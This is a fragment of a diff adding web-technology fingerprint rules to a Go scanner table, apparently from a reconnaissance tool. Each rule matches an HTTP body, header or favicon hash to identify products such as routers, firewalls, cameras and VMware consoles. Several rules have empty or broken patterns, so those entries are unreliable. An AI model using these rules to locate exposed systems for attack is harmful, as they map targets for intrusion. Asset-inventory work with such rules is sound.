    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Group-Office", "body", "", InStr{"(powered by group-office|\"theme\":\"group-office\",)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Group-Office", "header", "", InStr{"", "(groupoffice=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/config/index.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gSOAP", "header", "", InStr{"", "(server: gsoap)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gsoap", "ico", "", InStr{"", "", "(63d5627fc659adfdd5b902ecafe9100f)"}, ReqHttp{"", "", nil, ""}}, + {1, "guahao-AppointmentRegistrationSystem", "body", "", InStr{"(var title = \"预约挂号系统\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gunicorn", "header", "", InStr{"", "(gunicorn)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GuoBaoJinTai-Prodcut", "body", "", InStr{"(\"程序\"->\"jtsec\"->)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gvs-server", "header", "", InStr{"", "(server: gvs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gzcstec-Exam", "body", "", InStr{"(placeholder=\"请输入凭据\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gzmwiccard-System", "body", "", InStr{"(抄表器驱动tp1100m)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gzqxrh-System", "body", "", InStr{"(广州全息若海信息科技有限公司|src=\"/scripts/easyui/jquery.easyui.min.js\"|style=\"vertical-align: middle; cursor: pointer|响应键盘的回车事件)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gzsa-Intranet-security", "body", "", InStr{"(gzsa. all rights reserved
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gztxsoft-Company's-product", "body", "", InStr{"(src=\"/aaa/ipweb/scripts/zngc-login-style.js\"|src=\"/aaa/ipweb/scripts/showoperationresult.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H2-Database", "body", "", InStr{"(login.jsp?jsessionid=|welcome to h2)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-5900-G3", "body", "", InStr{"(5900-g3)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-5900-G3", "header", "", InStr{"", "(5900-g3)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-B365", "body", "", InStr{"(var product_type = \"b365\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-B5", "body", "", InStr{"(var product_type = \"b5\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-BR104H", "header", "", InStr{"", "(basic realm=\"h3c br104h\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-BR204+", "header", "", InStr{"", "(basic realm=\"h3c br204+\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-CAS", "body", "", InStr{"(href=\"cas.css|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "h3c-Cloud", "body", "", InStr{"(分布式存储管理系统

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER2200G2", "body", "", InStr{"(\"=aaaaaaaa)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER3100", "header", "", InStr{"", "(h3c er3100)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER3200", "header", "", InStr{"", "(h3c er3200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER3260", "header", "", InStr{"", "(h3c er3260)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER5100", "header", "", InStr{"", "(h3c er5100)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER5200", "header", "", InStr{"", "(h3c er5200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER6300", "header", "", InStr{"", "(h3c er6300)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER8300", "header", "", InStr{"", "(h3c er8300)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-Firewall", "body", "", InStr{"(class=\"dl_margin0\" align=\"left\">web网管用户登录
    |/php/common/checknum_creat.php?module=config_authnum)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-HDM", "body", "", InStr{"(/video_record.jnlp|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venom", "header", "", InStr{"", "(venom-dev)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-Firewall", "body", "", InStr{"(var title_zh = '天清汉马usg防火墙';|venusense fw)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianQing-Application-Security-Gateway", "body", "", InStr{"(v2/global/vendor/modernizr/modernizr.js|天清web应用安全网关)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianQing-IPS", "body", "", InStr{"(/css/cover_admin.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianQing-WAG", "header", "", InStr{"", "(vwphpsessid=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianTina-IDS", "body", "", InStr{"(
    天阗入侵检测与管理系统v7.0
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Venustech-TianYue", "body", "", InStr{"(
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Verizon-Wireless-Router", "body", "", InStr{"(verizon_logo_blk.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VERTIV-System", "body", "", InStr{"(var port = \"9528)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vertx", "header", "", InStr{"", "(set-cookie: vertx-web.session)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vhsoft-VHPLOT", "body", "", InStr{"(/vhplot/webresource.axd)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VICIdial", "body", "", InStr{"(url=/vicidial/welcome.php)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vicon-Cameras-and-Surveillance", "body", "", InStr{"(content=\"brian lau, iqinvision|loc = \"iqeyevid.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Victorysoft", "body", "", InStr{"(href=\"webstyles/webstyle1/style1/css.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Victorysoft", "body", "", InStr{"(value=\"style2012/style1/scripts/expressinstall.swf\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Victorysoft-Performance-Management-System", "body", "", InStr{"(class=\"row fl-controls-left|casui/themes/siam/login.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vicworl", "body", "", InStr{"(powered by vicworl|content=\"vicworl|vindex_right_d)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "videocomm-Cameras-and-Surveillance", "body", "", InStr{"(平台采用最新图像化展现技术)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Violation-outreach-monitoring-system", "body", "", InStr{"(|window.location='login.action';|欢迎登录违规外联平台)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Virtualmin", "body", "", InStr{"(
    forgot your virtualmin password?
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VISEC", "ico", "", InStr{"", "", "(2e5e985fe125e3f8fca988a86689b127)"}, ReqHttp{"", "", nil, ""}}, + {1, "Visec-ViGate", "body", "", InStr{"(src='/themes/visec/images/|name=\"passwordfld)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VisionGS-Webcam", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VisualSec-VS-AD", "body", "", InStr{"(class=\"top-wrapper fn-clear\"|value=\"sysadmin\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VisualSVN", "header", "", InStr{"", "(realm=\"visualsvn server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Visualware-MyConnection-Server", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Vivotek-Network-Camera", "body", "", InStr{"(
    \"logo\"
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vlc", "ico", "", InStr{"", "", "(6f7e92fe7e6a62661ac2b41528a78fc6)"}, ReqHttp{"", "", nil, ""}}, + {1, "VMedia-Multimedia-Publishing-Platform", "body", "", InStr{"(function toggle(targetid)|class=\"video_00\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-ESX", "body", "", InStr{"(content=\"vmware esxi|document.write(\"\" + id_eesx_welcome + \"\")|content=\"vmware esx |document.write(id_esx_viclientdesc);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vmware-ESXi", "body", "", InStr{"(ng-app=\"esxuiapp\"|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-Horizon", "body", "", InStr{"(href='https://www.vmware.com/go/viewclients'|alt=\"vmware horizon\">)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vmware-Server-2", "body", "", InStr{"(content=\"vmware server is virtual)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-vCenter", "body", "", InStr{"(/converter/vmware-converter-client.exe|content=\"vmware vcenter|/vmw_nsx_logo-black-triangle-500w.png)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-vFabric", "header", "", InStr{"", "(ts01efd1fa)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VMware-VirtualCenter", "body", "", InStr{"(content=\"vmware virtualcenter|content=\"vmware vsphere)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vmware-vRealize", "body", "", InStr{"(正在重定向到 vrealize operations manager web)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VNC", "body", "", InStr{"(<applet code=vncviewer.class archive=vncviewer.jar)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VNC-Enterprise-", "header", "", InStr{"", "(server: vnc server enterprise edition)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VNPT-Technology-iGate", "body", "", InStr{"(copyright ©2013 - vnpt technology)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vocetelecomWIFI", "header", "", InStr{"", "(realm=\"vocetelecomwifi)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Voila web hosting", "ico", "", InStr{"", "", "(3646670CAC1E2AFAE1FE152F2FD8C118)"}, ReqHttp{"", "", nil, ""}}, + {1, "Volans-VOLANS-Router", "header", "", InStr{"", "(飞鱼星科技volans)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Voole-OTV", "header", "", InStr{"", "(server: voole_cdn1.0)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VOS3000", "body", "", InStr{"(content=\"vos3000|images/vos3000.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VOS-VOS2009", "body", "", InStr{"(content=\"vos2009, voip, voip运营支撑系统, 软交换\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VoteManager", "body", "", InStr{"(content=\"微平台投票系统|content=\"微平台投票管理系统|<a href=\"http://www.cdrbp.cn\">微信数字投票)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VP-ASP", "body", "", InStr{"(<a href=\"http://www.vpasp.com\">|src=\"vs350.js|shopdisplayproducts.asp?id=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/lib/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VPON", "body", "", InStr{"(/ctrl_ver.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-Desktop-Application-System", "body", "", InStr{"(<span id=\"lblvalidcompany\" class=\"validcompany\">vrv|var vver = $('#hidverify').val();)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-IM", "body", "", InStr{"(<h3>连豆豆pc客户端 </h3>|href=\"http://im.vrv.cn/server-securitycenter/password/goretrieval.vrv|class=\"loginusername\" value=\"\" placeholder=\"连豆豆账号/邮箱/手机号|class=\"wj-text wj-title\">下载信源豆豆</p>)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-NAC", "body", "", InStr{"(id=\"modal_delay\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VRV-NAC", "body", "", InStr{"(欢迎登录北信源网络接入控制系统|localstorage.setitem('doctitle','北信源网络接入控制系统'))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VSP-Stats-Processor", "body", "", InStr{"(<a href=\"http://www.clanavl.com/vsp/\">vsp</a> v|<body>error: cannot establish database connection or database database_name does not exist| theme:bismarck by <a href=\"#\" title=\"myrddin8 <at> gmail <dot> com\">myrddin</a> )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VSS-Web", "body", "", InStr{"(<a href=\"http://www.vssweb.net/ivsweb.exe)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vTigerCRM", "body", "", InStr{"(/images/vtigercrm_icon.ico|<div class=\"poweredby\">powered by vtiger crm - |src=\"themes/images/vtigername.gif\" alt=\"vtiger crm|vtiger crm </span>|<img src='http://stats.vtiger.com/stats.php?uid=|<a href='http://www.vtiger.com' target='_blank'>vtiger.com</a>)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "vtiger CRM", "ico", "", InStr{"", "", "(d90cc1762bf724db71d6df86effab63c)"}, ReqHttp{"", "", nil, ""}}, + {1, "VTS", "body", "", InStr{"(<head><title>error message)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "VTS-CMS", "body", "", InStr{"(errmag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "W3-Total-Cache", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WEBSOC", "body", "", InStr{"(
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "websvn", "ico", "", InStr{"", "", "(ef5169b040925a716359d131afbea033)"}, ReqHttp{"", "", nil, ""}}, + {1, "webtrust-Cert", "body", "", InStr{"(https://cert.webtrust.org/viewseal)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Web-Wiz-Rich-Text-Editor", "body", "", InStr{"(健康档案
  • |www.wellcare.cn)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WEONLYDO-Product", "header", "", InStr{"", "(server: weonlydo)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Westell-Secure", "header", "", InStr{"", "(server: wstl cpe|realm=\"westell secure)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Western-Digital", "header", "", InStr{"", "(wt263cdn)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Western_Digital-MyBook", "body", "", InStr{"(src=\"/img/headernav_separator.gif\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WhatWeb", "body", "", InStr{"(
    |network card access password: )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WhatWeb", "header", "", InStr{"", "(file-created wed, 14 jul 1999 04:00:00 gmt|xcd web admin)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "whfst-CMS", "body", "", InStr{"(武汉富思特)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir", "body", "", InStr{"(css/css_whir.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir-ezOFFICE", "body", "", InStr{"(ezofficeusername|whirrootpath|/defaultroot/js/cookie.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir-ezOFFICE", "header", "", InStr{"", "(loclan)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "whir-flexoffice", "body", "", InStr{"(var flexofficepath=\"\\/flexoffice\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Whir-OA", "body|header|ico", "or", InStr{"(return ajaxForSync[(]whirRootPath)", "(Set-Cookie: OASESSIONID=(.*))", "(fa1f01d0392d60663d8ce936fe06096a)"}, ReqHttp{"", "", nil, ""}}, + {1, "WHMCS", "body", "", InStr{"(powered by please login or register)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WHOLETON-Employee-Internet-Management", "body", "", InStr{"(updateloginpswd.php|passroedele|下一代防火墙|classid=\"clsid:81be1f16-9d88-48cc-8d3e-cb8e37b71fee)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WHOLETON-NGFW", "body", "", InStr{"(/base/img/login_logo_ngaf.jpg)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WHOLETON-Remote-Access", "body", "", InStr{"( 远程接入平台|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "wholeton-VPN", "body", "", InStr{"(images/l_name.jpg|jtpsoft style1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "whtzjkj-ERP", "body", "", InStr{"(href=\"/content/home/tzjlog.ico\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wiegand", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WIFI-Camera", "header", "", InStr{"", "(realm=\"wificam)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WIFI-security-terminal-Device-management", "body", "", InStr{"(

    wifi安全终端设备管理

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WikiWebHelp", "ico", "", InStr{"", "", "(18fe76b96d4eae173bf439a9712fa5c1)"}, ReqHttp{"", "", nil, ""}}, + {1, "WildFly-Server", "body", "", InStr{"(href=\"wildfly.css|wildfly project)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Willfar-Interface-Management-Tool", "body", "", InStr{"(the wasion software foundation|alt=\"接口应用管理工具\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Windows-Business-Server", "body", "", InStr{"(src=\"images/sbslogo.gif|href=\"/remote\">remote web workplace)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WIND-River", "header", "", InStr{"", "(server: rapid logic)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "WindRiver", "header", "", InStr{"", "(server: windriver-webserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wing-FTP-Server", "body", "", InStr{"(/help_javascript.htm)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wing-FTP-Server", "header", "", InStr{"", "(server: wing ftp server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Winiis-ISP-Access-Resource-Management-System", "body", "", InStr{"(winisp.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Winmail-Server", "header", "", InStr{"", "(magicwinmail_default_language)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Wireless-Access-Point-Controller", "body", "", InStr{"(var oemproductname = \"mvc_howay6000\"|
    troy serial server